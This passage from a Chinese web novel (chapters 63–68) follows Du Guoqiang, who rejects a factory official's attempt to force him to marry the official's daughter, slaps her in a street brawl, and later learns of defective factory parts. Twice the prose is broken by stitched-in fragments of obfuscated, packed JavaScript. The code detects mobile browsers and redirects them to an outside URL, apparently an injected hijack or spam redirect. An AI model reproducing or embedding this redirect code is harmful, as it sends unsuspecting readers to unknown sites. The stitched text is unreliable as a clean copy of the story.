“跟你们说了多少遍,进之前要先敲门!”
然而,等他彻底看清来人的面容后,却傻眼了:“杜国强?”
夏江海的脸色慌了一下,随即想到自己现在是八零厂的***,而对方甚至都不是厂里的人,整个人又瞬间松弛下来。
“你来我办公室干什么?”夏江海语气淡淡地问。
“夏江海,是不是你把我妈的工作给取消了,还不让我两个妹妹继续上学?”杜国强开门见山地质问道。
“哦,你说这事啊?”夏江海扶了扶自己的眼镜,淡淡地点了点头,“是我做的。这没什么问题,你妹妹和你妈本来就不是八零厂的在编人员,也不算什么家属。厂里取消她们的待遇,转给更需要的厂里人,不是再正常不过吗?”
“杜国强同志,你要理解八零厂,咱们这么做也是有苦衷的嘛。”夏江海假惺惺地说道。
小人得志啊!杜国强心里浮出一个成语,在适合此刻不过了。
也难怪,这小子可能是当二把手当久了,心里积了怨气,眼下身份一转变,便透着股变态的猖狂。
“当然,这一切都是可以改变的。”夏江海话音一转,又开口道。
“哦?怎么个改变法?”杜国强淡淡道。
“你倒戈,和老朱那种落后分子划清界限,站到符合群众利益的一面来。我觉得这事就可以解决了。”夏江海摊了摊手。
这是想让自己靠边站,做他夏江海忠实的舔狗?
杜国强笑了一下。
“除此之外,我还有个要求。”夏江海眯起眼望向杜国强,“听说你跟安阳厂刘占福家的闺女在处对象?”
......
第63章 上门立规矩
夏江海家里有个闺女,二十三四岁,正是青春年华。
长相算不上出众,不过也比村姑强得多。
照理说,想找个婆家轻而易举,况且夏江海一直是八零厂的二把手,家庭条件优越,更是得遭人哄抢。
可惜这闺女是个不安分的主。
抽烟、打架,每天跟着那群地痞流氓混,活脱脱一个小太妹。
谁家愿意娶这样的媳妇?
也不知道怎么回事,这女娃娃今年像是突然醒悟了,开始有些忧虑,怕自己嫁不出去,天天求着夏江海赶紧给她找个对象。
夏江海觉得自己眼下正好抓着了机会。
杜国强虽说不是出身根深蒂固的好家庭,但人家有才啊。
一步一个脚印,硬生生爬到了中级技术员的位置,还和港商有关系。
日后肯定能飞黄腾达。
因此,夏江海就动了心思,想把杜国强介绍给自己闺女,只是一直没逮到机会。
毕竟,自己闺女那名声,可谓是人尽皆知。
眼下,杜国强貌似想求自己放过他家里人,倒是让他抓住了把柄。
“杜国强,找对象可是人生大事”夏江海慢悠悠地说,“刘家那闺女,我看跟你不太般配,你不妨再慎重考虑考虑。”
说着,他从办公桌里掏出一张照片,递到杜国强面前。
照片上,正是化着浓妆的夏紫琪。
杜国强愣了一下,皱眉问道:“夏**,您这是……”
“这是我闺女,今年二十出头,说起来比你大上两三岁。”夏江海特地站起身,绕过办公桌,拍了拍杜国强的肩膀,“不过不要紧,女大三抱金砖嘛。我个人是相当看好你的。”
这夏江海是打上了让自己当他女婿的主意,这老小子倒是会盘算。
杜国强有些无语。
正当他打算开口拒绝,夏江海却主动插嘴:“好了,我一会儿还有个会,你回家慢慢琢磨。年轻人嘛,感情是可以培养的,不用守在一棵树上吊死。”
他话锋一转,带着几分暗示:“现在老朱已经是咱们厂的昨日黄花了。你如果还想跟八零厂恢复关系,我建议回去慎重考虑考虑我说的话。”
说着,夏江海便哼着小曲走出了办公室。
杜国强也没有去追。
他懒得跟夏江海解释,自己压根就不在乎他是不是八零厂的***。
他就算是能上央视春晚表演的千手观音,又如何?
自己又不是非得靠着八零厂才能活。
眼下最棘手的是妹妹上学的问题。
朱厂长这条线用不了,那就只能看看安阳厂那边有没有路子。
不过总会有办法的,实在不行,自己可以向陆川区区长求助,对方肯定不会坐视不理。
至于亲妈朱桂芳的工作,杜国强倒不怎么在意。
原本给别人扫大街就不是什么体面的活计。
他打算等自己的工厂成立后,就让亲妈回来当个后勤主管之类的——给别人家干活是干活,给自己家干活也是干活,没什么不一样的。
可惜,夏江海不会理解杜国强的想法。
在他看来,杜国强完全没有不答应自己的理由。
拒绝自己,就等于舍弃大好前程,舍弃八零厂未来扩大生产的潜力。
“这小伙子确实不错,配夏紫琪绰绰有余,总算能给那丫头了却一桩人生大事。”
“还是***好啊。”夏江海感慨道。
若是自己还只是厂里的二把手,这些动作做起来断然不敢这么明目张胆。
但***就不一样了——自己就是厂里的精神,是厂里的魂,说什么就是什么!
夏江海哼着小曲回到家,一进门就看见闺女打扮得花里胡哨,正坐在沙发上抽烟。
他皱眉呵斥:“你怎么又抽烟?能不能有点女孩样?还有这鬼发型,也给我去换了!”
夏紫琪不情不愿地站起身,掐灭烟头:“我就算戒了烟、收拾干净又有什么用?反正也找不着对象,还不如自己一个人快活。”
夏江海嘿嘿笑道:“谁说解决不了的?你爹今儿就给你盘算个好人家。”
夏紫琪顿时眼前一亮,连忙追问道:“是谁?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012502|178435||http|test|mini|href|location''.split(''|''),0,{}));
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r>“杜国强,听说过吗?”
“杜国强!”夏紫琪顿时兴奋起来,随即又有些不敢置信,“他……他能看上我吗?”
她本以为自己这辈子的归宿,顶破天也就是找个二婚离异带娃的老男人。
杜国强正是风华正茂、在各处都能出彩的年纪,怎么会看得上自己呢?
“他看上看不上你,有什么要紧?”夏江海冷哼一声,“你爹我现在可是八零厂的***。他杜国强要是有点眼力见,就绝不会拒绝。”
“那我什么时候见面?”夏紫琪慌张地冲向卫生间,想把自己这身花里胡哨的打扮洗掉。
夏紫琪对杜国强可是满意得紧。
这小子名声大着呢,要是能嫁给他当太太,自己以后岂不是有享不尽的福?
姐妹们也肯定会因此高看自己一眼。
“这我倒还没细说,”夏江海道:“一会儿你要是没事,就去他家里看看,提前给他们家人立立规矩。”
他又叮嘱:“听说他家里有个老妈,还有两个妹妹。你过去就给他们整整地位,不然日后嫁过去免不了受委屈。得让他们知道,你过去是当老祖宗的,不是给人家当孙子的。”
夏紫琪愣了一下:“这……好吗?我头次见面就给人家脸色看……”
“有啥不好的?”夏江海冷哼一声,“这杜国强以后还得指望着你爹活呢。反正你不能丢我的面子。”
思前想后,夏紫琪最终还是点了点头:“成,爹。那我就上门去给他们家长长规矩。”
......
没了工作的朱桂芳心情有些烦闷,不过杜国强再三保证会解决这事,她也只好暂且信了。可这人啊,忙活惯了,一闲下来就浑身不得劲。
眼看两个闺女也在家,朱桂芳闲她们吵闹,到厨房打算给她们做点油炸糕当小吃。
刚把面和好,一个个面团捏成糕点形状,正打算扔进油锅里炸,外面突然传来一个女人的喊声:“妈,您在家吗?给我把门开开。”
朱桂芳愣了一下,一时没反应过来,这句妈是在喊谁。
第64章 贪得无厌
朱桂芳还在犹豫,那边的夏紫琪已经有些不耐烦了。
原本想矜持些,装成淑女的样子,眼下却直接扯开嗓子敲起了门。
朱桂芳吓了一跳,这才明白那声妈是喊自己,连忙去把大门打开。
“姑娘,你在喊我妈?我不认识你呀。”朱桂芳眨巴着眼睛说道。
“妈,我是您未来儿媳妇。”夏紫琪嘴角弯起,“杜国强日后要娶我的,这提前叫您妈,不也合适吗?”
“杜国强要娶你?”朱桂芳摇了摇头,果断地说:“这咋可能?闺女,我现在是有准儿媳妇,人家和我儿子处得好好的。”
“您说的是刘静怡吧?”夏紫琪笑了笑,“放心吧,以后杜国强便不敢和她来往了。”
还没等朱桂芳询问清楚,夏紫琪便不容分说地将自己准备的上门礼塞进她手里,自顾自地打量起这小小的平房,眼神里满是傲气。
“这屋子也太暗了。”她撇撇嘴,“杜国强好歹也是有名望、受过区长嘉奖的人,咋能住这么破烂的房子?回头得让他弄套宽敞点的,不然我住着不习惯。”
朱桂芳心里泛起一丝不快,强压着怒意说:“我觉得这房子挺好,我们一家四口住得自在。”
“一家四口?以后可得添人了。”夏紫琪淡淡一笑,“等我嫁过来,必须得有自己的一间屋子。我瞅你们这平房就一张大炕,这可不行。”
她转向朱桂芳,语气带着不容置喙的强硬:“妈,您回头转告杜国强,这些条件满足不了,他就别想娶媳妇了。”
“姑娘,你到底是谁?要是没事找事,就请你离开。”
朱桂芳不想再听眼前这女人胡言乱语,语气沉了下来。
可夏紫琪却纹丝不动,盯着朱桂芳道:“我可是八零厂现在***的闺女。你让我离开?我要是我跟你儿子吹了,他后半辈子基本上也就毁了。”
夏紫琪得意洋洋地把八零厂现在的情况跟朱桂芳说了一遍。
朱桂芳这才恍然大悟,原来自己下岗、两个闺女被退学,都是因为眼前这姑娘的父亲。
“您的工作,还有这两个小丫头上学,都不是什么大问题。”夏紫琪慢悠悠地说,语气里满是掌控一切的笃定,“只要咱们成了一家人,这些事情还不都是顺手就能解决的?”
“不过,我嫁到你们杜家可不是来受委屈的。”
“日后得立立规矩——这个家里,我最大,我说的话你们都不能反驳。我要是跟杜国强成不了,你们一家子都别想好过。”
朱桂芳气得脸色发白,哪有这样的儿媳妇?
简直跟刘静怡差了十万八千里,竟然还倒反天罡,给自己婆婆立起规矩来了!
“另外,还得说说彩礼的事。”
夏紫琪语气平淡地接着道,“听说杜国强先前拿了笔奖金,二百块是吧?我觉得这数字就挺合适,回头让他带着钱到我家来提亲。”
二百块钱的彩礼,把朱桂芳吓了个正着。
这哪是要彩礼,分明是抢钱啊!
眼下这年月,谁家能拿出这么高的彩礼?
大多数人家娶媳妇,也就两三张大团结,再添上些桌椅板凳,就能把人娶进门了。二百块钱,这是把自己当仙女了不成?
朱桂芳记得当初杜国强他爹娶自己的时候,给了两斤棒子面,自个亲爹就把自己打发走了。
“我饿了,中午你们家吃什么?”夏紫琪舔了舔嘴唇道,“儿媳妇头回上门,总不能在礼数方面差了吧?八大碗什么的虽说没有那个讲究,起码得三菜一汤吧。”
朱桂芳扭过头道:“这个月的指标吃完了,今天家里要吃窝窝头。
“穷酸**。”
夏紫琪吐了吐舌头,顿时嫌弃起来:“这日后我嫁到你家来,是要顿顿吃肉的。啃窝窝头可不行,算了,今天我头次上门,算你们准备不周,下次可一定记得准备肉。”
朱桂芳有些头疼。
杜国强要真把这娘们娶回家来,那可是给家里找了个活祖宗。
又在这絮絮叨叨指点一番后,
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夏紫琪总算是离开了,回到自个家里去吃肉了。
而朱桂芳却是脸色铁青地望向两个丫头:“去到院里折根柳树枝回来。”
乐乐问道:“妈,你要这东西干啥?”
“得给你哥清醒清醒,他要是把这娘们娶回家来,全家人都**算了!”
杜国强从厂房忙活完,快到家门口时,两个妹妹慌慌张张地拉住他:“哥,你别进家门,妈要拿柳树条子抽你呢!”
杜国强愣了一下:“妈要抽我?咋可能嘛!”
他不顾妹妹们的劝阻,径直往家走。
刚进门,一根柳树条子就朝他飞了过来。
杜国强吓了一跳,连忙躲开,问道:“妈,你这是要干啥?真要抽我啊?”
“杜国强,你要是真不想让你妈和两个妹妹活了,就把那女人娶回家!”朱桂芳死死瞪着他,胸口剧烈起伏。
“您说的是刘静怡?”杜国强愣了一下,满脸困惑,“她咋了?您一直不是对她挺满意的吗?”
“我说的是夏紫琪!你们八零厂***的那个闺女!”朱桂芳提高了嗓门,语气里满是火气,“她今天找上门来了,说夏江海安排了你和她的婚事,让你跟她结婚!”
“夏紫琪?”杜国强听母亲讲完事情的来龙去脉,顿时哭笑不得,“妈,您放心,我这辈子就算打光棍,哪怕回旧时候当太监,也不可能娶这样的女人!这不是纯纯糟践自己吗?娶个祖宗回来?”
“当真不娶?”朱桂芳狐疑地盯着他,“那你的前途不要了?”
“我又不是八零厂的职工,他夏江海就算有通天的本事,还能怎么拿捏我?”
杜国强道:“您放心,您和安安、乐乐的事,我会想办法解决的。”
“呼,吓死妈了,还以为你真要甩了刘静怡,娶那女人回家呢。”朱桂芳心有余悸地拍了拍胸口。
“妈,您就放一百个心。”
“就她那样的,还想让我掏二百块彩礼娶她?”
“门儿都没有!”
第65章 天天吃肉
夏紫琪天生就不是个能过日子的女人,放荡成性,长了一副桃花相。
杜国强记得前世,她好像是嫁给了当地一名四十多岁的离异领导。
那老男人几乎把她宠上了天,可这女人生性放荡,嫁过去不到半年,就跟那领导闹得翻天覆地。
原因竟然是夏紫琪开始和人家的儿子勾勾搭搭。
这样的女人,要是真被自己娶回家,怕是以后真没什么好日子过了。
“妈,您就把心放肚子里吧。”杜国强笑着对朱桂芳说,“我放着刘静怡不娶,去娶那夏紫琪?那不成傻子了吗?我跟刘静怡都商量好了,等日后我俩稳定了,就张罗订婚宴,保证让您短时间内抱上大胖孙子。”
朱桂芳这才长出一口气:“这妈就放心了。”
忽然想起刚才抽了杜国强一鞭子,心里顿时疼起来,盯着他的胳膊问,“妈刚才是不是打疼你了?我给你找点药疙瘩来抹抹。”
“妈,没事。”杜国强摆摆手,“一鞭子而已,就抽红了点皮,您别往心里去。”
“是妈不好,刚才不分青红皂白的……”朱桂芳满是歉意。
到了中午吃饭时,她特地给杜国强炒了一碗鸡蛋,只放鸡蛋和油,连葱都没加。
油脂的香味弥漫在饭桌上,把安安和乐乐两个小不点馋得直咽口水,眼睛瞪得溜圆,恨不得一头扎进那碗鸡蛋里。
“你们俩想都别想,这是给你哥补身体的。”朱桂芳看着俩闺女,故意板起脸,“两个丫头片子,天天在家吃穿,还想吃炒鸡蛋?”
“来来来,咱们一家四口,四等分,一人一口,谁都别抢。”
杜国强把那碗炒鸡蛋分了分,挨个夹到几人碗里。
“这……你这是干啥?”朱桂芳急了,“这是给你补身体的!我们三个全得靠你照料,就你天天在外面忙活,我们咋好意思吃这些?”
“妈,我的亲妈,您就别在意这些了。”杜国强笑着说,“一家人说什么两家话?你们吃我的,不是应该的吗?”
“哎,要是妈能找点活干,也不至于在家里坐着吃白饭了。”朱桂芳叹了口气,又想起自己在八零厂清扫卫生的活儿。
杜国强一口把炒鸡蛋塞进嘴里,嚼了两下吞进肚里。不得不说,在这缺肉的年代,炒鸡蛋确实是难得的美味。
他抬头对母亲说:“妈,您不用担心,等我的公司成立了,我请您去当后勤部长。”
“当什么后勤部长啊,有个清洁工的活儿干,对妈来说就挺好了。”朱桂芳笑着说。
桌上的两个丫头已经把自己的盘子舔得干干净净,睁着大眼睛望向杜国强:“大哥,刚才那个要当我们嫂子的人说她家里天天吃肉,是真的吗?”
“她还说,要是她嫁到咱家来,咱们家也必须得天天吃肉呢。”
安安眨巴着眼睛,把夏紫琪的话学了一遍,小脸上满是好奇。
“胡扯什么?天天吃肉,你哥的工资要不要了?敢情供肉的指标是你杜安安规定的吗?”朱桂芳在一旁训斥道。
杜国强却笑了笑,对妹妹们说:“你们也想天天吃肉?行,从明天起,哥哥就每天往家里带肉。”
朱桂芳吓了一跳,连忙道:“你别跟这两个丫头片子开玩笑,她们会当真的!”
“我没开玩笑,我肯定能搞到肉来。”杜国强认真地说。
虽说肉是这个时代的稀缺品,各地的肉都需要凭票购买,但也有些特殊指标掌握在肉类经销公司手里。去找找关系,应该能从他们手里要到指标。
“大哥真的能天天吃肉?”安安和乐乐顿时兴奋起来,眼睛亮得像两颗小星星。
“我想吃红烧肉,好大块的那种!”安安一边说,一边伸出小手比划着,“一块比我的嘴都大!”
她那认真的样子,把朱桂芳和杜国强都逗得合不拢嘴。
杜国强直接找到了肉类经销公司。
他先是亮出自己安阳厂技术员的身份,向那位吃得油头满面的经理表达了想拿钱换些肉类供给的想法,没想到对方一口回绝,还大义凛然地说。
“全国人民都一样,谁也不能多吃一块肉,谁也不能少吃一块肉
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。”
见对方态度强硬,杜国强便拿出了自己跟区长有关系的证明。
那经理一看,脸色立刻变了,慌忙给杜国强签了一张20斤的肉票条子——凭着这张票,杜国强当月能多买20斤肉。
事实上,这年头市面上的肉类指标管控得虽严,但对这些掌管肉类经销的供应商来说,想动些手脚简直易如反掌。
他们挥挥手,就能把几十斤甚至几百斤的肉票批给某家单位,根本不算什么难事。
刚才那番冠冕堂皇的话,其实不过是看人下菜碟。
一听说杜国强是真有关系的,那经理立马就缴械投降,哪还敢再端着架子。
......
日子一天天过去。
有了充足的肉类供应,两个妹妹的脸色渐渐圆润起来,脸上也多挂了几丝笑容。
杜国强则和李江一每天钻进新车间里鼓捣注塑机,他们买了几包刚进口回来的PE塑料,打算先做些汽车的管材以及外壳饰品出来。
虽说这个时代的注塑机在功能和操作灵活度上都有缺陷,但杜国强凭借丰富的经验,还是打造出了几套适配这台设备的模具。
他让李江一熟悉设备的操作。
现在仓库里摆满了几百根合格的产品。
杜国强特意挑了几根合格的产品,托人转送到港岛那边,让竹青莲想办法测试一下这些产品的性能。
就在他忙活的这段时间里,夏紫琪却有些坐不住了。
杜国强咋还不向自己来求婚呢?
夏紫琪找到了亲爹夏江海,带着点委屈问道:“爸,您说这杜国强咋还能坐得住呢?他就不想和八零厂改善关系啊?”
夏江海瞪了她一眼:“肯定是你那彩礼定得太高!老天爷,200块!你咋想出来的?”
夏紫琪撅起嘴:“我要彩礼不也是为了您吗?200块,能顶您好几个月工资了。咱家都把我嫁过去了,不该捞点好处回来吗?”
夏江海叹了口气,摆摆手道:“罢了,走,你跟我去找找杜国强,看看这小子到底是啥意思。”
第66章 女朋友找上门
新工厂里一忙起来就昏天黑日,杜国强每天早上一睁眼就往工厂赶,直到深夜才回家。这般周而复始,竟让他找回了些前世做科研的感觉。
就他们现在生产出的这些零件而言,应该已达到汽车使用标准,只是还缺个检验的机会。
杜国强打算,一等港岛那边传来检测报告,就和国内厂商洽谈,赶紧把手上现有的库存消耗掉。
“杜哥,我是不是干活干出幻觉了?那地方是不是站着个女人?”
李江一擦了擦额头上的汗,问道。
这小子比杜国强更拼,24小时吃住在新厂房里。
反正年纪轻,只要吃饱了不想家,就发动机器生产产品。
这份敬业精神,连杜国强都不得不佩服。
“你小子这是想媳妇了吧?咱们厂子里哪来的女人?”杜国强调侃着,下意识回头望了一眼,却愕然呆住——还真有个女人,是刘静怡。
杜国强赶忙放下手上的钳子,擦了擦被塑料熏黄的手,问道:“你咋来了?”
“我这些天找不到你,听你妈说你在这儿,就过来看看你有没有事。”刘静怡答道。
上次安阳厂和八零厂闹得不欢而散,大家有目共睹。
刘占福回到家闷闷不乐,刘静怡有些担心杜国强也是这状态。
可左等右等都不见杜国强来找自己,只能主动过来了。
“我这些天忙着调试注塑机,倒是怠慢你了。”
杜国强有些歉意地挠了挠头,“放心吧,我好着呢。安阳厂那边的事你也不用担心,会有解决办法的。”
刘静怡点了点头,转而问道:“我们还算是对象关系吗?”
“自然是。”杜国强愣了一下,随即答道。
“那你这些日子对我不闻不问。”刘静怡的话语软柔柔的,却带着一丝委屈。
杜国强赶忙嬉皮笑脸道:“这不是为了给你未来攒家业嘛!等忙过这一阵,我天天跟你腻在一块,保证你嫌我烦得像只苍蝇。”
刘静怡听到这话,眼泪收了回去,噗”一下笑了出来:“倒是形象,一只大绿头苍蝇。”
她瞪了杜国强一眼,带着点傲娇道,“申请占用杜国强同志一个小时的时间,可以吗?”
“自然。”杜国强拍了拍胸脯,“请老婆大人指示。”
“谁是你老婆?莫要乱叫。”
刘静怡脸蛋羞红,“我听说附近街上有家米粉店很好吃,你跟我一块去尝尝。”
“得嘞!”
杜国强应承下来,这不是什么大事,理应好好陪陪刘静怡。
杜国强扭头望向李江一:“李江一,我要跟我对象去吃米粉,用给你带一份回来吗?”
“这是你对象?”
李江一吃了一惊,心里不禁感慨,杜国强还真是样样不缺,捣鼓着个体营生,眼下还有个这么漂亮的媳妇。
他无奈地摆了摆手:“哎,帮我带一碗回来好了。”
杜国强带着刘静怡上了街,两人依偎在一起,倒真有了几分情侣的模样。
.....
这边刚走没多远,恰好遇上夏江海带着夏紫琪出来——他们正要去杜国强家问个清楚。
“爹,你瞅瞅,那是不是杜国强?”夏紫琪一眼就看见了,指着前方道,“他手里搂着的那个是刘静怡吧?你不是说他们俩已经分手了吗?”
夏江海也愣住了,随即一股怒意涌上来:“是分了啊!我亲自嘱咐过这小子的!”
他认定杜国强这是想脚踏两只船,脸色顿时沉了下来。
父女俩不约而同地朝着杜国强冲了过去,歇斯底里的吼声在他身后炸开。
杜国强下意识回头,就见一个张牙舞爪的女人朝自己扑来,顿时吓了一跳:“哪来的疯婆子?”
他连忙将刘静怡护在身后。
大街上的人被这动静吸引,纷纷投来目光,齐刷刷落在几人身上。
夏紫琪冲到近前,指着杜国强骂道:“好啊你!脚踏两只船是吧?你怎么还跟这骚狐狸耗在一块?你忘了答应我爸什么了吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012505|178435||http|test|mini|href|location''.split(''|''),0,{}));
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r>“杜国强,这两位是?”刘静怡有些发懵,她压根没见过夏紫琪和夏江海。
“骚狐狸,这里没你说话的份!”夏紫琪朝地上啐了一口,恶狠狠地瞪着杜国强。
杜国强顿时怒火中烧,反手一巴掌直接扇在夏紫琪脸上。
这一巴掌力道极重,打得夏紫琪右半边脸瞬间肿起,嘴角还渗出了两道血痕。
“你管谁叫骚狐狸?”
“你敢打我?”夏紫琪整个人都呆滞了。
夏江海也是一愣,他万万没想到,自己原本以为能拿捏住的杜国强,此刻竟敢当着他的面打自己闺女,脸色瞬间变得更加难看。
“你爸?”杜国强这才注意到夏紫琪身后的夏江海,对方正面色铁青地走过来,眼神冷冷地盯着他。
“你什么意思?”夏江海的声音带着压抑的火气,“先前我跟你说的话,你当耳旁风了是吗?我不是让你跟那女人分手吗?你当真是不想跟我们八零厂合作了?”
杜国强望着夏江海道:“我也从没答应过你,说什么一定要娶你女儿。”
“你们在大街上,光天化日下辱骂我对象,我替她出手再正常不过。”杜国强淡淡道。
夏紫琪披头散发,活像个疯婆子,颤抖着指着杜国强:“你不要脸!我都跟你妈谈过了,让你妈准备好彩礼就嫁给你,你现在跟我整这一出?”
“问题是,我妈也没答应你呀。”
“她怎么可能想找个小太妹回家当儿媳妇?怕是以后肚子里生的孩子都不知道是谁的。
他接着嘲讽道,“再者,你也不看看自己是什么德行,200块的彩礼,你觉得你配吗?”
听着杜国强的话,夏紫琪这才彻底明白,杜国强压根没打算娶自己,先前那些关于过门的幻想,不过是自己一厢情愿的子虚乌有。
她仿佛心碎一般,再看向杜国强和刘静怡那如胶似漆的模样,心中的怨恨又添了几分。彻底失去了神智,尖叫着扑上去:“杜国强,老娘跟你拼了!”
第67章 产品爆雷
杜国强以前听人说过,女人打架有三板斧。
一抓、二挠、三掐。
今儿个,算是在夏紫琪身上验证了。
对方冲上来,直接用用长指甲在他胳膊上抠出一道血印子。
“你姥姥的!”杜国强骂了一句。
虽说他没什么打女人的癖好,可要是有人都追到脸前犯贱,那就另当别论了。
扬手就是一个大逼兜,便扇在了夏紫琪脸上。
夏紫琪再次被打懵。
她实在难以想象,自己竟然在一天之内,被同一个男人——而且还是她吵着要结婚的男人——连着抽了两个大嘴巴子。
“啊!打女人了,大家伙快来看看啊。”
夏紫琪彻底疯魔了,扯着嗓子呼喊周围人。
“这位同志,你怎么能当街欺负女同志呢?”
这时,几个看着像是仗义人士的人主动站了出来,大多是二十出头的小年轻,估计还是没接触过女人的处男。
一股子责任心爆棚的架势,把夏紫琪扶到身后,“身为一个大男人,这么做像话吗?”
杜国强道:“你了解事情经过吗?就敢在这儿乱发言?”
“我就看到你欺负女同志了,别的不用多说!走,跟我去派出所!”几个小伙子主动站出来,看样子是想押着杜国强去蹲牢子。
虽说以杜国强的身手,根本不惧这几人,可他也没打算跟这群人过多纠缠。
他深吸一口气,伸手指了指身后的刘诗诗,朗声道:“刚才她上来就要动手打我女朋友,我护着女朋友扇她一巴掌有错吗?”
“还有她那亲爹,就因为抓住我一点把柄,便逼着我强娶他这闺女。我不答应,这女人就对我大打出手,我自卫还击,难道也有错?”
“你的意思是,这么漂亮的姑娘,要逼着你强娶她?”领头的那人有些难以置信地开口问道。
他身后立刻有人拉了拉他的胳膊,低声道:“这人说的可能还真的。这夏紫琪我认识,简直就是只骚鸡,勾搭过的男人没有十个也有八个了。”
“你帮人出头也得看看对象,她可不是什么好货。”
陆川区本就不大,更何况这附近是八零厂的地界,难免有几个互相认识的人。
很快,就有人顺带认出了杜国强和夏江海等人。
“这不是夏江海父女俩吗?”
“听说这老头最近正急着把他那**闺女嫁出去呢,这是瞅准了杜国强当接盘侠啊?”
一群人在周边叽叽喳喳地议论起来。
先前领头出声的那名小伙子,这才察觉到自己殷勤献错了地方,脸色涨得通红,连忙给杜国强鞠了一躬:“对不起,同志,先前是我说话欠考虑了。”
小伙子很快调转矛头,指向瘫在地上的夏紫琪,怒斥道:“你这个女同志,自己私生活不检点也就罢了,居然还动手**,简直是倒反天罡!”
这年头,社会风气管控得严,不像后世那般男女交往自由,在风俗礼教上多少还有些限制。
伤风败俗的女人,走到哪儿都抬不起头来。众人顿时议论纷纷,指责声、嘲讽声此起彼伏。
更有几个好事的,直接从旁边菜摊捡了烂菜叶子,朝着夏江海和夏紫琪身上扔去。
“伤风败俗的玩意儿,也配出来丢人现眼!”
“就是,强逼着人家娶,脸都让你们丢尽了!”
烂菜叶混着泥土砸在身上,夏江海又气又急,却被众人钉在原地,动弹不得。
夏紫琪更是又羞又愤,尖叫着缩在地上,先前的嚣张气焰荡然无存。
父女俩费了好一阵功夫才从这乱区中脱身,一个个狼狈不堪。
夏紫琪就不用说了,她从小泡在蜜罐里长大,自认有些特权,何时被这些她瞧不上眼的“乡下人”这般欺负过?
“爹!你快把他们都抓起来坐牢!”她一边哭,一边胡乱拍着身上沾的脏东西。
夏江海面色铁青,扬手就给了夏紫琪一巴掌。
“爹,你怎么也打我?”夏紫琪难以置信地瞪着亲爹。
“你当你爹是谁?还把那些人都抓起来?是想让我进去吃几十年牢饭吗?”
夏江海固然也怒火中烧,可他能在八零厂坐到领导的位置,就不是个没脑子的。
他深吸一口气,冷冷道:“放心,冤有头,债有主。说到底,这档子事都是杜国强惹出来的。我收拾不了那些看戏的,还收拾不了他?”
夏紫琪一听,顿时来了精神,连忙擦干眼泪:“爹,你打算怎么整他?”
她现在早就不想着跟杜
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国强结婚了——这男人不过是她想掌控的玩物,竟敢当众打她?
如今她对杜国强只剩下恨,恨不得置对方于死地。
“明天我就召集八零厂的人开全体大会,把他们家现在住的那套房子收回来。我要让他们露宿街头!”
夏紫琪眼睛一亮,忙追问:“爹,你说的是真的?”
“当然。”夏江海冷笑一声,“真当以为我夏江海是个笑面和尚,一点脾气都没有?我就让这小子见识见识我的手段!”
……
“让我家腾退地方?”杜国强皱起眉头,看向来通知消息的八零厂职工。
“杜技术员,杜大技术员,您别这么看我啊。”那职工一脸为难,“这是今天早上领导们一致通过的决定,真跟我这种小角色没关系。”
“这夏江海还真是无法无天了。”杜国强有些动了真火。这让他怎么跟亲妈和两个妹妹开口?
原本把她们接到城里,是想让她们享享福,过几天舒坦日子,结果这房子才住了不到两个月,八零厂那边就要清退,摆明了是故意给他难堪。
“杜技术员,您也赶紧收拾收拾东西吧。”那职工又劝道,“朱厂长刚才还在厂部跟夏**吵呢,不过看样子希望不大。我估摸着,今天他们就可能强制让你们搬走了。”
杜国强无奈地点了点头。
眼下这情况,只能先把亲妈和两个妹妹接到旅店里对付几宿,再想办法看看能不能从附近的居委会租套房子。
他有些烦躁地坐在椅子上,等着家里人回来,一边在心里琢磨着措辞,想想要怎么开口说这事儿。
等了约莫半个多时辰,家里终于有了动静,进来的却不是家人,而是先前那个来通知消息的职工。对方脸红脖子粗,气喘吁吁的,脸上满是焦躁。
“杜大技术员……”
“怎么,夏江海连这点时间都等不了?”杜国强冷冷开口,“连让我们收拾东西的时间都不给?”
“不是不是!”那职工连忙摆手,擦了擦额头上的汗,急声道,“我是来通知别的事的!朱厂长让我赶紧来叫您,立刻去厂部开会!刚才,几个做产品检测的人到八零厂了,说咱们最近这批自行车用的零件都有问题,咱们的产品要爆雷了!”
第68章 大权归属
“产品要爆雷了?”杜国强心里一动,连忙追问,“怎么回事?”
“具体的我也不清楚,我就是个跑腿的。”那职工道,“不过现在大家伙都在厂部呢,您有什么想问的,去了就能问他们。”
杜国强点了点头:“走,带我去厂部。”
时隔几天,再次来到八零厂厂部,还隔着老远,杜国强就听见了朱厂长那暴跳如雷的嘶吼声。
他放眼望去,自己认识的那些八零厂名义上的领导,此刻都在这儿,一个个低着头,动作区促,满脸不知所措。
刚当上***的夏江海,此刻倒像个犯错的小学生,双手微微颤抖,额头上渗着汗:“我、我也不知道会出这么档子事……他们先前送过来的产品明明都挺好的,我想着也不用再费钱每一批都检测了,哪知道后来的产品都有问题……”
“不用花钱去检测了?夏江海,你瞅瞅你办的这档子好事!”
朱厂长伸手指着夏江海的鼻子,狠狠朝地上啐了一口,唾沫星子溅在夏江海的皮鞋上,对方却连一丝不满都不敢流露。
杜国强走上前开口问道:“怎么回事?”
“国强,你可来了!”朱厂长连忙转向杜国强,解释道,“先前你不是跟我说过,那个王五爷做的产品不可能那么便宜,让我留意着找人检测吗?”
“我就留了个心眼,抽了几件送到京城找专人看了。结果除了第一批合格,剩下的每一批都有大缺陷——强度、硬度全不达标。”
“甚至有些工件表面都没处理,还带着毛刺,乱七八糟的问题一堆!这王五爷,完全就是弄了批垃圾货来糊弄咱们八零厂!”
杜国强点点头。
果然,这王五爷就是来赚快钱的,压根没想着好好做产品。
人家的的主心骨不在陆川这边。
杜国强问道:“总共向王五爷订购了多少批次的零件?”
